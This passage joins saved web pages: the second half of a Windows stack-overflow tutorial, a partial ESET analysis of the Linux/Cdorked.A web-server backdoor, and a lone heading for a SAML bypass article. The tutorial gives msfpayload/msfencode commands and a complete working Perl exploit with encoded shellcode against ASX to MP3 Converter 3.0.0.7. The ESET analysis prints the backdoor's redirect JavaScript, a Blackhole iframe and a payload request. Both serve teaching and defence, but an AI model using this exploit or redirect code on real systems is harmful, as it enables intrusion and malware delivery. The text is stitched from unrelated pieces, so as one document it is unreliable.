these registers and execute the code it points to. Which register we choose
depends on a couple of things:

  1. The amount of uninterrupted code at that location — sometimes our exploit code can be mangled or truncated as it’s written to memory by the application so we need to ensure that we have enough space to insert usable shellcode \(usually at least 500 bytes\) and that the code will not be modified in any way by the application.
  2. Our ability to redirect to one of those registers — in order to tell the application to redirect to a register that points to our shellcode, we need to overwrite EIP with an address to an existing instruction such as JMP or CALL . Remember that EIP is overwritten with an address pointer to an instruction, not an actual instruction. In other words, we can’t overwrite EIP with opcode corresponding to jump ESP \(\xff\xe4\). Instead, we need to overwrite it with a memory address that points to such an instruction. On top of that, we need to ensure that the address we use does not contain null bytes \(\x00\). Why? Because a null byte acts as a terminator, meaning that once the application hits the null byte, execution terminates and anything you put after the EIP overwrite \(in this case our shellcode\) will not be executed. There are some exceptions to the null byte rule but for this first example, just keep in mind we are trying to avoid addresses containing null bytes. If you’re confused by any this, don’t worry I’ll demonstrate.

Ok, so we need to tell the application to redirect or “jump” to a register
containing our shellcode. In this case we are lucky because we have three
possible registers to choose from: EBX, ESP, and EBP.

Let’s check the first criteria for register EBX: the amount of uninterrupted
code at that location. In the CPU Registers pane, right-click the address in
EBX and select “Follow in Dump”.

<img src='img/Temp2_9657.png' width='199' height='196' alt='asx2mp3_immunity6'
/>

In the Memory Dump pane \(lower left corner\) you should see the contents of
that address and the addresses that follow. Start scrolling down, paying
attention to see if there are any breaks in the our inserted buffer.
Eventually, you should see a break, in my case it was just after location
000FCFCC.

<img src='img/Temp2_9666.png' width='159' height='334' alt='asx2mp3_immunity7'
/>

To estimate how much uninterrupted shellcode space we have at EBX we can
subtract the start of EBX \(000FBBD4\) from 000FCFCC. This comes to 0x13F8 or
5,112 bytes. That’s plenty of available space so EBX is a good candidate.

We can continue this exercise with the other two registers \(ESP and EBP\) to
determine where the most space lies. Alternatively, we can use _\!mona
findmsp_ to check for the available space. Remember that out-of-the-box, the
offsets displayed by findmsp only correspond to the first occurrence of the
pattern but the detected length should still be accurate and useful to you
when determining the available space for shellcode. Run _\!mona findmsp_ and
look at the lengths returned for our three registers.

<img src='img/Temp2_9635.png' width='478' height='46' alt='asx2mp3_immunity8'
/>

If we’re going by available space, it appears ESP has the most, so let’s check
ESP for the second criteria: our ability to redirect to that location using
our EIP overwrite. For this first stack-based overflow example we’re going to
stick with a simple jump or call instruction that takes us right to our
desired register. To accomplish this, we need to find a JMP ESP or CALL ESP
instruction.

Here’s how you can do this in Immunity:

Right-click on the CPU instruction pane of the CPU View, select “Search for”
and click “All Commands in all modules”. This will search all loaded modules
\(.exe and all DLLs\) for our jmp/call instruction.

<img src='img/Temp2_9643.png' width='363' height='363' alt='asx2mp3_immunity9'
/>

Enter the desired instruction, in this case “jmp esp”.

<img src='img/Temp2_9664.png' width='312' height='105'
alt='asx2mp3_immunity10' />

As you can see in the below screenshot we get many results but the problem is
that the only usable addresses \(those in green\) are OS \(vs. application\)
modules — notice they all being with “C:\WINDOWS” vs. “C:\Program Files\Mini-
Stream\ASX to MP3 Converter…”. While these DLLs/modules are certainly usable
as valid jmp instructions if there are no alternatives, OS modules may vary
across different “flavors” of Windows. For example, a DLL address may be
different between Windows SP2 and SP3 or between SP3 French and SP3 English.
To ensure better portability of your exploit code, you want to choose
instructions from application modules whenever possible.

<img src='img/Temp2_9640.png' width='705' height='369'
alt='asx2mp3_immunity11' />

Unfortunately we get similar results \(all OS modules\) if we try “call esp”.
Note: there are other instructions we could try but for simplicity sake, I’m
sticking with a simple jump or call for this example.

<img src='img/Temp2_9638.png' width='702' height='402'
alt='asx2mp3_immunity12' />

Although no application modules contained the necessary jmp/call instructions
for the ESP register, we’re fortunate enough in this example to have two other
registers pointing to our buffer, so instead of using an OS module, let’s try
a different register.

Try searching for “call ebx”. This time, the results include many addresses
from application modules.

<img src='img/Temp2_9634.png' width='554' height='337'
alt='asx2mp3_immunity14' />

The problem with these first results is that they all begin with a null byte,
which as you recall, would act as a string terminator, preventing execution of
the shellcode that follows our EIP overwrite. Scroll down further in the
results and you should see some that do not begin with null bytes:

<img src='img/Temp2_9650.png' width='453' height='296'
alt='asx2mp3_immunity13' />

Let’s choose one — I’ll pick 01C27228 \(from MSA2Mcodec00.dll\). This is the
value we’ll use to overwrite EIP. IMPORTANT\!\!: Your “call ebx” addresses are
going to differ from what you see in the above screenshot because of something
called address “rebasing”. In fact, as you’ll see in part 3, there is good
reason to choose an OS module over an application module in this case, though
I don’t want to get into that until the next post. For now, you can go ahead
and choose any of the “call ebx” addresses from an application module as long
as it doesn’t contain null bytes. Just note that if you reboot your machine,
the exploit will not longer work and you’ll have to go back and choose another
“call ebx” address.

Ok, so we have successfully replicated the application crash, verified control
over EIP, verified our offset to EIP \(26,121\), we have a register \(EBX\)
that points to an uninterrupted portion of our buffer of sufficient length,
and we have a usable address to a CALL EBX instruction that we’ll use to
overwrite EIP. Let’s incorporate all of this into our exploit code.

<img src='img/Temp2_9647.png' width='578' height='198' alt='asx2mp3_sploit_10'
/>

### Finding the offset to our shellcode

Right now our 50,000 byte buffer consists of:

<img src='img/Temp2_9660.png' width='675' height='113' alt='asx2mp3_buffer1'
/>

The EBX register points to a ~5,100 byte section of the $fill portion of our
buffer, but where? We need to know so we can strategically place our
shellcode. We can use a few different methods to determine our shellcode
offset.

_**Pausing program execution to determine the shellcode offset**_

Take a look at the next screenshot of our exploit.

<img src='img/Temp2_9663.png' width='615' height='219'
alt='asx2mp3_sploit_6-1' />

What I’ve done is constructed the $fill portion of the buffer with INT
\(interrupt\) instructions \(\xcc in hex\). When the application comes to the
INT instruction, it pauses execution. This is very useful for use with a
debugger because it allows us to see exactly where in our buffer we land when
CALL EBX is executed. Let’s take a look at what happens when we open our
updated m3u file containing this buffer:

<img src='img/Temp2_9639.png' width='760' height='498' alt='asx2mp3_sploit_7'
/>

You can see that when the application hits the INT instruction and pauses, EBX
contains 000FBBD4 and EIP 000FBBD5 \(the current instruction\). If we follow
the latter address in the memory dump pane, and scroll up until we come to the
beginning our our buffer fill, we end up right around address 000F729E. If we
subtract this address from 000FBBD5 \(the start of EBX\) we get 0x4937 or
18,743. This is the approximate length of our buffer that follows our CALL EBX
instruction and we’re going to put our shellcode after it. Why do I say
approximate? There is the possibility that a portion of our buffer was
corrupted or removed when written to memory so we know that we have at least
18,743 bytes of the $fill portion of our original buffer that need to precede
our shellcode. I’ll show you how to get a more exact length in just a moment.

Another way to look at it is how far from the beginning our our buffer should
we place our exploit code? To find out, add 18,743 to the length of the buffer
that precedes $fill \(junk + EIP = 26,125\), which comes to 44,868. In other
words, at the very least, our shellcode should start after the first 44,686
bytes of our buffer \(though we’ll want to pad this a bit more to account for
changes in memory location or possible corruption of our buffer\).

Using interrupts to pause program execution and examine the memory/registers
is one quick way of determining the placement of the shellcode within the
buffer but there are more exact methods.

_**Using Metasploit pattern\_offset.rb to determine the shellcode offset**_

The Metasploit pattern offset script can tell us exactly where EBX points to
in our pattern-based buffer \(which was created using the sister
pattern\_create.rb script\). Recall the contents of our registers at the time
of crash/EIP overwrite:

<img src='img/Temp2_9653.png' width='500' height='98' alt='asx2mp3_immunity5'
/>

EBX starts with Fn9F. Using the metasploit pattern offset ruby script we can
find out exactly where in the pattern buffer this resides:

<img src='img/Temp2_9648.png' width='607' height='96' alt='asx2mp3_sploit_9'
/>

In our case, the offset is 44,877. Before I incorporate this into our script,
let me show you how to get the same result with the mona plugin.

_**Using mona to determine the shellcode offset**_

You can once again refer to the findmsp results from mona to see the offset of
our buffer in EBX.

<img src='img/Temp2_9659.png' width='539' height='57' alt='findmsp3' />

Again, with the out-of-the-box mona plugin you’ll only see the first offset
but this screenshot reflects my updated code which confirms the offset of
44,877.

Now that we know the offset to our shellcode, let’s update our exploit buffer
accordingly. Assuming an offset of 44,877, the first 26,125 bytes will be
taken up by the “junk” portion of our buffer \(26,121 bytes\) and our EIP
overwrite \(4 bytes\). This leaves 18,752 bytes that need to precede our
shellcode. Let’s adjust our script to test this out:

<img src='img/Temp2_9629.png' width='710' height='246' alt='asx2mp3_sploit_8'
/>

What I’ve done here is add another variable “$nops” that will hold the portion
of our buffer after the EIP overwrite and before our shellcode in order to
simulate our shellcode offset of 44,877. I made the length of $nops one more
than the amount needed to precede our shellcode and comprised it of all INT
instructions so that if the program execution lands somewhere within $nops it
will immediately pause and we can see where we ended up. If the offset from
pattern\_offset/mona is correct, the call EBX should land exactly on the last
INT instruction in the $nops portion of the buffer \(18,752 + 1\). Let’s run
the program with our updated m3u exploit file and take a look at Immunity:

<img src='img/Temp2_9636.png' width='556' height='102'
alt='asx2mp3_immunity15' />

As you can see, we landed exactly on our last Interrupt instruction and the
next instruction to execute is the very first byte of the $fill portion of our
buffer \(soon-to-be shellcode\) meaning the offset provided by
pattern\_offset/mona was accurate. The reality is we don’t have to be this
accurate — our original estimated placement could have served us just fine
because we can \(and should\) always place an innocuous buffer before our
shellcode to allow for deviations in memory addresses.

To do so, we typically use what’s called a no-operation instruction \(NOP\),
which on the x86 architecture is represented by hex value 0x90. Stringing
these NOPs together forms what’s commonly called a NOP slide or NOP sled. When
the program execution hits this series of NOPs, it “slides” until it hits a
set of executable instructions, which in our case will be our shellcode that
follows.

When constructing your buffer, it’s generally a good idea to have the EIP
CALL/JMP instruction land somewhere towards the beginning/middle of a series
of NOPS. Since we have a large portion available for our shellcode, I’ll
precede it with a NOP sled of length 18,852 \(18,752 offset + an extra 100 for
padding\). This entire portion of our buffer will serve both as our shellcode
offset and our NOP sled.

Now our buffer looks as follows \(with the last portion reserved for our
shellcode\):

<img src='img/Temp2_9631.png' width='677' height='106' alt='asx2mp3_buffer2'
/>

### Constructing the Shellcode

The last thing we need is some actual shellcode. Of course, the shellcode we
choose depends on what we want the exploit to do…spawn a remote shell, add an
administrative user, etc. In our case we’ll choose something benign — open the
Windows calculator \(calc.exe\). The next thing we have to consider is whether
there are any characters that will break our shellcode. For example, for
reasons already discussed, null bytes can be problematic in shellcode. Also
problematic are carriage returns, line feeds and other string terminators.
There may also be cases where the application itself either can’t process
certain characters or changes the value \(converts/encodes, etc\) of certain
characters. As a result, shellcode creation can sometimes be trial and error.
Luckily in this case, the shellcode creation is pretty straightforward. You
can download/copy shellcode from Exploit DB, but for this example I’ll show
you how to create some basic payloads using Metasploit.

Metasploit has a command-line shellcode generation function called msfpayload.
You can use the -l switch to see Windows-specific payloads:

msfpayload -l | grep windows
1 | msfpayload -l | grep windows  
---|---  
In our case we’ll be using windows/exec which enables arbitrary command
execution, suitable for calling calc.exe. To use msfpayload, you need to know
the options associated with each payload, which you can get by appending the
payload name with a capital O.

Given the available options, the syntax for the payload is as follows:

msfpayload windows/exec CMD=calc.exe R

1 | msfpayload windows/exec CMD=calc.exe R  
---|---  
If you examined the options with the “O” parameter, you might have noticed one
additional option called “EXITFUNC”. This parameter controls how the shellcode
will exit when completed. I didn’t specify a value for EXITFUNC which means
default value of “thread” will be used, which terminates only the associated
thread. The other options for payload exit are SEH \(let exception handler
manage the exit\) and Process \(kill the whole process and not just the
thread\). The EXITFUNC choice can make a big difference in how the exploit
behaves when it terminates so you may need to experiment. For example, if
you’re injecting an exploit into a parent process that must continue to run
after the exploit terminates, you may want to avoid process and instead stick
with thread. Similarly, choosing SEH as an option if the application does not
implement any error handling may cause the process to hang on exit
\(“Application X has encountered a problem and needs to close…”\).

The CMD option is self explanatory and the “R” stands for Raw which will
output our shellcode as raw byte code. However, we need to encode the
shellcode before we incorporate it into our script. To do so, we can pipe our
msfpayload output to the msfencode function as follows:

msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/shikata\_ga\_nai -c 1 -t perl -b '\x00\x0a\x0d\xff'
1 | msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/shikata\_ga\_nai -c 1 -t perl -b '\x00\x0a\x0d\xff'  
---|---  
The -e switch tells msfencode which encoder to use, the -c switch tells how
many iterations to perform, the -t switch indicates the output format, and the
-b switch tells the encoder which “bad” characters to exclude. This command
results in a 227 byte encoded payload. I save detailed discussion of encoding
for future posts. For now just remember choosing an encoder may be influenced
by how the application encodes user input \(e.g. unicode\) and can also come
in handy with certain AV evasion techniques.

As a side note, you can also achieve the same thing with the msfvenom module
as follows:

msfvenom -p windows/exec CMD=calc.exe -f perl -b '\x00\xff\x0a\x0d'

1 | msfvenom -p windows/exec CMD=calc.exe -f perl -b '\x00\xff\x0a\x0d'  
---|---  
Which one you use \(msfpayload w/ msfencode or msfvenom\) is really just a
matter of preference.

You can find more information on using msfpayload here: http://www.offensive-
security.com/metasploit-unleashed/Msfpayload

### Putting it all together

Now that we have our 227 byte shellcode, our final buffer looks like this
\(note that we have an additional 4,796 bytes available should we want to use
a different, larger shellcode\).

<img src='img/Temp2_9655.png' width='740' height='113' alt='asx2mp3_buffer3'
/>

Here’s our final exploit code:

\#\!/usr/bin/perl

1 | \#\!/usr/bin/perl  
---|---  
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

\# Exploit Title: ASX to MP3 Converter 3.0.0.7 \(.m3u\) Stack-Based BOF

\# Date: 12-13-2013

\# Exploit Author: Mike Czumak \(T\_v3rn1x\) — @SecuritySift

\# Vulnerable Software/Version: ASX to MP3 Converter 3.0.0.7

\# Link: http://www.mini-stream.net/asx-to-mp3-converter/download/

\# Tested On: Windows XP SP3

\# Credits:

\# — Original POC by Cyber-Zone: http://www.exploit-db.com/exploits/8407/

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

my $buffsize = 50000; \# sets buffer size for consistent sized payload

my $junk = “\x41″ x 26121; \# offset to EIP overwrite

my $eip = pack\(‘V’, 0x01C27228\); \# call ebp \(MSA2Mcodec00.dll\) – YOURS
WILL DIFFER\!

my $nops = “\x90″ x 18752;

\# msfpayload windows/exec CMD=calc.exe R |

\# msfencode -e x86/shikata\_ga\_nai -c 1 -t perl -b ‘\x00\x0a\x0d\xff’

\# size 227

my $shell =

“\xba\x8d\xf5\x02\x51\xda\xc0\xd9\x74\x24\xf4\x5b\x2b\xc9″ .

“\xb1\x33\x31\x53\x12\x03\x53\x12\x83\x66\x09\xe0\xa4\x84″ .

“\x1a\x6c\x46\x74\xdb\x0f\xce\x91\xea\x1d\xb4\xd2\x5f\x92″ .

“\xbe\xb6\x53\x59\x92\x22\xe7\x2f\x3b\x45\x40\x85\x1d\x68″ .

“\x51\x2b\xa2\x26\x91\x2d\x5e\x34\xc6\x8d\x5f\xf7\x1b\xcf” .

“\x98\xe5\xd4\x9d\x71\x62\x46\x32\xf5\x36\x5b\x33\xd9\x3d” .

“\xe3\x4b\x5c\x81\x90\xe1\x5f\xd1\x09\x7d\x17\xc9\x22\xd9″ .

“\x88\xe8\xe7\x39\xf4\xa3\x8c\x8a\x8e\x32\x45\xc3\x6f\x05″ .

“\xa9\x88\x51\xaa\x24\xd0\x96\x0c\xd7\xa7\xec\x6f\x6a\xb0″ .

“\x36\x12\xb0\x35\xab\xb4\x33\xed\x0f\x45\x97\x68\xdb\x49″ .

“\x5c\xfe\x83\x4d\x63\xd3\xbf\x69\xe8\xd2\x6f\xf8\xaa\xf0″ .

“\xab\xa1\x69\x98\xea\x0f\xdf\xa5\xed\xf7\x80\x03\x65\x15″ .

“\xd4\x32\x24\x73\x2b\xb6\x52\x3a\x2b\xc8\x5c\x6c\x44\xf9″ .

“\xd7\xe3\x13\x06\x32\x40\xeb\x4c\x1f\xe0\x64\x09\xf5\xb1″ .

“\xe8\xaa\x23\xf5\x14\x29\xc6\x85\xe2\x31\xa3\x80\xaf\xf5″ .

“\x5f\xf8\xa0\x93\x5f\xaf\xc1\xb1\x03\x2e\x52\x59\xea\xd5″ .

“\xd2\xf8\xf2″;

my $sploit = $junk.$eip.$nops.$shell; \# sploit portion of buffer

my $fill = “\x43″ x \($buffsize – \(length\($sploit\)\)\); \# filler for
consistency

my $buffer = $sploit.$fill; \# build final buffer

\# write the exploit buffer to file

my $file = “asx2mp3.m3u”;

open\(FILE, “>$file”\);

print FILE $buffer;

close\(FILE\);

print “Exploit file created \[” . $file . “\]\n”;

print “Buffer size: ” . length\($buffer\) . “\n”;

Generate the final .m3u file and open it with ASX To MP3 Converter and you
should see this:

<img src='img/Temp2_9642.png' width='357' height='226' alt='asx2mp3_calc' />

If calc doesn’t open, make sure you’re running the .m3u file from the root of
C:\ and that you’ve named the file asx2mp3.m3u. Remember, this exploit is far
from perfect due to the file path’s influence over successful execution and
the use of an application module \(DLL\) that implements address rebasing.
We’ll take a look at how to address both of these issues in Part 3.

### Conclusion

That’s it for Part 2 in this series. Hopefully you now understand the basics
of a stack-based buffer overflow including why it’s a problem, how it can
manifest itself in a software application, and how to exploit it to force
arbitrary code execution.

In Part 3, I’ll continue the discussion of stack-based overflows and how to
overcome basic issues such as dynamic EIP offsets and slightly more
complicated jumps to shellcode. I’ll begin, once again, with the ASX To MP3
application and show one way we might overcome the changing EIP offset caused
by the inclusion of the file path in memory.

<img src='img/Temp2_9649.png' width='30' height='19' />

### Related Posts:

  * Windows Exploit Development – Part 1: The Basics
  * Windows Exploit Development – Part 2: Intro to Stack Based Overflows
  * Windows Exploit Development – Part 3: Changing Offset and Rebased Modules
  * Windows Exploit Development – Part 4: Locating Shellcode with Jumps
  * Windows Exploit Development – Part 5: Locating Shellcode with Egghunting
  * Windows Exploit Development – Part 6: SEH Exploits
  * Windows Exploit Development – Part 7: Unicode Buffer Overflows

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Linux/Cdorked.A malware: Lighttpd and nginx web servers also affected - We
Live Security

**Created:**| _8/6/2013 9:39:46 AM_  
---|---  
**Updated:**| _8/6/2013 9:40:35 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# **L** inux/Cdorked.A malware: Lighttpd and nginx web servers also
affected****

By Marc-Etienne M.Léveillé posted 7 May 2013 at 03:20PM

Our investigation around Linux/Cdorked**.** A continues. Since our initial
post about this sophisticated and stealthy backdoor designed to drive traffic
to malicious websites, we have made further significant discoveries:

  * We have observed more than 400 webservers infected with Linux/Cdorked**.** A. Out of these, 50 are ranked in Alexa’s top 100,000 most popular websites**.**
  * The backdoor has been applied to other webserver daemons**.** Thanks to the information provided by affected system administrators, we were able to analyze trojanized **Lighttpd** and **nginx** binaries in addition to the already documented Apache binaries**.**
  * According to our global telemetry data, this operation has been active since at least December 2012**.**
  * The Linux/Cdorked.A threat is even more stealthy than we first thought: By analysing how the attackers are configuring the backdoor, we found it will not deliver malicious content if the victim’s IP address is in a very long list of blacklisted IP ranges, nor if the victim’s internet browser’s language is set to Japanese, Finnish, Russian and Ukrainian, Kazakh or Belarusian**.**
  * Our telemetry data shows that almost 100,000 users of ESET security products have browsed infected websites due to Linux/Cdorked**.** A redirection, although the attack was blocked by those products**.**
  * In some of the configurations we were able to analyze, specific redirections were configured for Apple iPad and iPhone users**.**

In this blog post, we will provide additional information on the capabilities
of the backdoor**.** We will also describe the typical configurations we were
able to analyze and the malicious payload that was delivered to victims. In a
typical attack scenario, victims are redirected to a malicious web server
hosting a Blackhole exploit kit**.** We have discovered that this malicious
infrastructure uses compromised DNS servers, something that is out of the
ordinary**.** We will provide more information on this peculiarity in the last
section of this post**.**

Before going any further, one point needs to be clear about Linux/Cdorked**.**
A. We still don’t know for sure how this malicious software was deployed on
the web servers**.** We believe the infection vector is not unique. It cannot
be attributed solely to installations of cPanel because only a fraction of the
infected servers are using this management software**.** One thing is clear,
this malware does not propagate by itself and it does not exploit a
vulnerability in a specific software**.** Linux/Cdorked.A is a backdoor, used
by malicious actor to serve malicious content from legitimate websites**.**

The following image shows the assembly listing of the reverse connect back
shell invocation from the three types of backdoored binaries we were able to
analyze: Lighttpd, nginx, and apache, shown here in that order:

<img src='img/Temp2_4953.png' width='164' height='171' alt='Lighttpd' />

Lighttpd

<img src='img/Temp2_4949.png' width='204' height='132' alt='nginx' />

nginx

<img src='img/Temp2_4946.png' width='191' height='189' alt='Apache' />

Apache

The backdoor code looks the same between the three variants, but the hooks are
inside different functions depending on the server and the structures are also
different**.** The attacker was serious enough to take the time to create a
set of patches for each web server’s source code**.**

## Linux/Cdorked.A Backdoor capabilities****

Our analysis revealed more about the commands described in our previous
post**.** Here is the list of commands available to control Linux/Cdorked**.**
A.

**Command** | **Functionality**  
---|---  
**L1, D1** | Load or delete the list of redirect URL  
**L2, D2** | Load or delete the list of blacklisted IP ranges  
**L3, D3** | Load or delete the list of User-Agent whitelist pattern  
**L4, D4** | Load or delete the list of User-Agent blacklist pattern  
**L6, D6** | Load or delete the list of blacklisted IP  
**L7, D7** | Load or delete the list of request excluded pages  
**L8, D8** | Load or delete the list of whitelisted IP ranges  
**L9, D9** | Load or delete the list of Accept-Language blacklisted patterns  
**LA, DA** | Load or delete the list of request whitelisted pages  
**ST** | Print server stats  
**DU** | Clear the list of redirected IPs  
**T1** | A timestamp, still under analysis   
Those lists are stored in the shared memory segment detected by our tool**.**
They give the attacker a way to be very precise about whom to redirect or
not**.** Linux/Cdorked.A also keeps a list of IPs it has redirected with a
timestamp the avoid redirecting the same victim twice within a small period of
time**.** None of the configuration is stored to disk, it remains in memory
and is modified by the attacker through HTTP requests on the infected
webserver**.**

## Typical Linux/Cdorked**.** A configuration****

Thanks to system administrators and Sucuri , we were able to get our hands on
the shared memory segment used by some instances of Linux/Cdorked**.** A**.**
Dumps from the same period of time had similar configuration**.** The
following screenshot shows an example of a memory dump**.**

<img src='img/Temp2_4954.png' alt='Linux/Cdorked web server malware' />

We have not seen any configuration so far with more than one URL**.** The
redirect is served to visitors who use Internet Explorer or Firefox on
Microsoft Windows XP, Vista or 7**.** Users of Apple iPhone and iPad are also
targeted, however they are not directed to the exploit kit but instead served
a page with links to pornographic websites**.** The following screenshot shows
redirection on an iPhone**.**

<img src='img/Temp2_4952.png' alt='iPhone porn redirect Linux/Cdorked web
server malware' />

The Linux/Cdorked**.** A configuration also included a huge list of
blacklisted IP ranges**.** Visitors to a site compromised by Linux/Cdorked.A,
who come from these IP ranges, will never be redirected to malicious
content**.** In the configurations we examined, about 50% of the Internet IPv4
space was blocked with no apparent regard to geographic location**.**
Furthermore, the configuration also blocks users based on their browser’s
configured language in the Accept-Language HTTP header**.**

[code]

    Language check blacklist (L9) - 8 entries
    -----------------------------------------
    ja Japanese
    jp country code for Japan
    fi Finnish
    ru Russian
    uk Ukrainian
    be Belarusian
    kk Kazakh
    zn No such language code
    
[/code]

We believe the operators behind this malware campaign are making significant
efforts to keep their operation under the radar and to hinder monitoring
efforts as much as possible**.** For them, not being detected seems to be a
priority over infecting as many victims as possible**.**

## Redirection Statistics****

The malicious redirections all have something in common: the Blackhole
instance where visitors are redirected have the “/info/last” pattern in the
URL**.** The earliest traces of this campaign in our telemetry data based on
the “/info/last/” pattern are from December 24th, 2012, and were using the
same DNS patterns that we will describe in the next section**.**

By analyzing web traffic to the target webpages, we were able to identify a
little over 400 websites which are currently affected by Linux/Cdorked**.** A.
Out of these webservers, 50 are in the top 100,000 websites as ranked by
Alexa, the highest ranked being in the top 2,000 most visited website on the
Internet**.** However, some people are already cleaning their servers after we
published our first analysis which is definitely encouraging**.**

<img src='img/Temp2_4951.png' alt='Linux/Cdorked web server malware hits on
Blackhole' />

Linux/Cdorked**.** A keeps a timestamp of the last redirection for each
victim’s IP address**.** We were able to extract that information from the
memory dumps to estimate how many redirections a single server can serve each
day**.** We’ve seen a server redirecting over 28,000 requests within 24
hours**.** What we observe is that servers are not constantly active**.** Here
are two examples showing the numbers of redirection per day for a single
server**.**

<img src='img/Temp2_4947.png' alt='Linux/Cdorked web server malware at work'
/>

<img src='img/Temp2_4945.png' alt='Linux/Cdorked web server malware at work'
/>

## DNS Hijacking****

The URLs set on the Linux/Cdorked**.** A infected servers change frequently.
However we noticed three things:

  1. The domain often looks like <number\(s\), a, b or c><letters>**.** <tld>.
  2. The subdomain always matches a 16 character hexadecimal string**.**
  3. The name servers of these domains change much less frequently than the domains themselves**.**

So we began analysing the pattern of the domain name used as target of the
redirection**.** First, we realised that the numbers at the beginning of the
domains were simply because the servers hosting these sites were shared
hosting servers, and, when sorting the domains alphabetically, were the first
associated with the IP address of the server**.**

The peculiar format of the subdomains and the fact that they are constantly
changing strongly suggested that the DNS servers were also compromised**.** We
did some tests where we modified the characters of the subdomain and in some
cases the IP address in the response changed**.** With some more testing we
were able to confirm that the IP address returned by the DNS request is
actually encoded in the subdomain itself**.** It is using the characters at
odd positions to form a 4 bytes long hex string to decode the IP address
from**.** A basic chained XOR cipher is used to encode the IP address**.**

The decoding algorithm looks like this:

[code]

    byte[] = { 16, 70, 183, 11 } // From the hex string
    seed = 49 // This seed changes, we have not yet found where it comes for
    ip[0] = seed ^ byte[0]    // 33
    ip[1] = byte[0] ^ byte[1] // 86
    ip[2] = byte[1] ^ byte[2] // 241
    ip[3] = byte[2] ^ byte[3] // 188
    // This gives us a response with IP 188**.** 241.86**.** 33
    
[/code]

Due to the algorithmic nature of this behavior, we see no other explanation
than the presence of trojanized DNS server binaries on the nameservers
involved in Linux/CDorked**.** A**.** ESET has notified the affected parties
about this issue**.**

## Redirection Chain****

When visitors are redirected by Linux/Cdorked**.** A they pass through
multiple pages before reaching the Blackhole Exploit kit**.** The following
screenshot shows an example redirection chain**.**

<img src='img/Temp2_4950.png' width='614' height='57' />

The first page is _/index.php_ with a _base64_ encoded parameter documented in
our last article**.** In the example in the previous screenshot, the base64
would decode to

[code]

    ljroujxv=isiuzv&time=1305022208-2007115935&src=141
    &surl=somedomain.com&sport=80&key=ED143377&suri=/tr/zeki.htm**.**
    
[/code]

That first page contains JavaScript code that will redirect the user to the
second page**.**

[code]

    var iflag = "0"; if (top**!** =self) { iflag = "1"; };
    var b64str = "MTQxNDExMzA1MDIyMjQ4M...luLmNvbS9zb3J0LnBocA==";
    setTimeout ( function() { location.replace( "hxxp://ae334b05c4249f38" + iflag 
    + b64dec(b64str) ); }, 280);
    
[/code]

The URL for the second page is composed of 3 parts: the initial subdomain, the
_iflag_ value and the b64str variable provided by the server**.** The _iflag_
value is set to 1 if the current document is the top window in the
browser**.** The server would likely reject requests in such cases**.** The
content of b64str is provided by the server and contains an URL with a very
long subdomain part:

[code]

    1414113050222483098587bcf02fc1731aade45f74550b.somedomain.com/sort.php
    
[/code]

This third part contains some specific information about the current
redirection, such as the the _src_ id from the Linux/Cdorked**.** A initial
URL and a timestamp. The significance of the other characters is still
currently unknown**.**

<img src='img/Temp2_4948.png' />

The third page, _sort.php_ , sets a timeout to redirect the user to the fourth
page, _exit.php**.**_

[code]

    function gotime() { xflag=false; top.location.replace(b64dec("aHR0cDovL2FlMzM0YjA1YzQyNDlmM..**.**
    ...cD94PTEzNyZ0PXRpbWVvdXQ=")); };
    var timer=setTimeout("gotime()", 21000);
    var ewq;
    ewq=document.createElement("span");
    ewq.innerHTML=b64dec("PGlmcmFtZSBzcmM9Im..**.** 1lPjxicj4=");
    setTimeout(function() { document.body.insertBefore(ewq,document.body.lastChild); }, 504);
    
[/code]

[code]

    aHr..**.** XQ= : hxxp://ae334b05c4249f38014141130..**.**
    ...50222483098587bcf02fc1731aade45f74550b.somedomain.com/exit.php**?** x=137&t=timeout
    
[/code]

_Content of a typical sort.php page**.**_

This page shows pornographic images and links to pornographic websites and
contains an iframe leading right into the Blackhole landing page**.** It is
still unclear if the pornographic domains are actually malicious or part of a
referral program**.**

[code]

    PGI...j4= : <iframe src="hxxp://ae334b05c4249f38014141130502224830..**.**
    ...98587bcf02fc1731aade45f74550b.somedomain.com/info/last/index.php"
    width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
    scrolling="no" allowtransparency="true"></iframe><br>
    
[/code]

_iframe leading to the Blackhole landing page**.**_

Finally, if the Blackhole exploit pack is successful, a piece of malware is
downloaded on the victim’s computer**.**

[code]

    GET /get3.php?e=176541242&tc=1305022250-072800c977&uid=536201305032119591656771 HTTP/1**.** 0
    Host: ae334b05c4249f38.somedomain.com
    User-Agent: NSISDL/1**.** 2 (Mozilla)
    Accept: */*
    
[/code]

[code]

    Our tests and telemetry data show that the malware that is currently being installed by the Blackhole exploit pack is Win32/Glupteba**.** G.
    
[/code]

## Remediation****

As mentioned in our previous post, we recommend system administrators check
the integrity of their webservers using their standard packaging systems. We
have published a tool to dump the configuration of Linux/Cdorked**.** A if it
is found running on a webserver. We updated it last week to detect all
variants we are aware of, including nginx and Lighttpd**.**

As for web users, we recommend keeping browsers, browser extensions, operating
systems, and third party software like Java, PDF readers and Flash players
fully up-to-date to avoid being infected by this on-going campaign**.** Use of
an antivirus program is also recommended**.**

## Thanks****

This article is the result of a joint effort between Marc-Etienne M.Léveillé,
Mathieu Lavoie, Benjamin Vanheuverzwijn, Sébastien Duquette and Pierre-Marc
Bureau**.**

### Analysed files: SHA1 hashes****

[code]

    a53a30f8cdf116de1b41224763c243dae16417e4 bad-apache
    a51b1835abee79959e1f8e9293a9dcd8d8e18977 bad-nginx
    dd7846b3ec2e88083cae353c02c559e79124a745 bad-lighthttpd
    ee679661829405d4a57dbea7f39efeb526681a7f bad-apache-x64-with-symbols
    5b87807b4a1796cfb1843df03b3dca7b17995d20 bad-apache-i386
    03592b8147e2c84233da47f6e957acd192b3796a bad-apache
    
[/code]

  
  
****

# Bypassing SAML 2.0 SSO with XML Signature Attacks

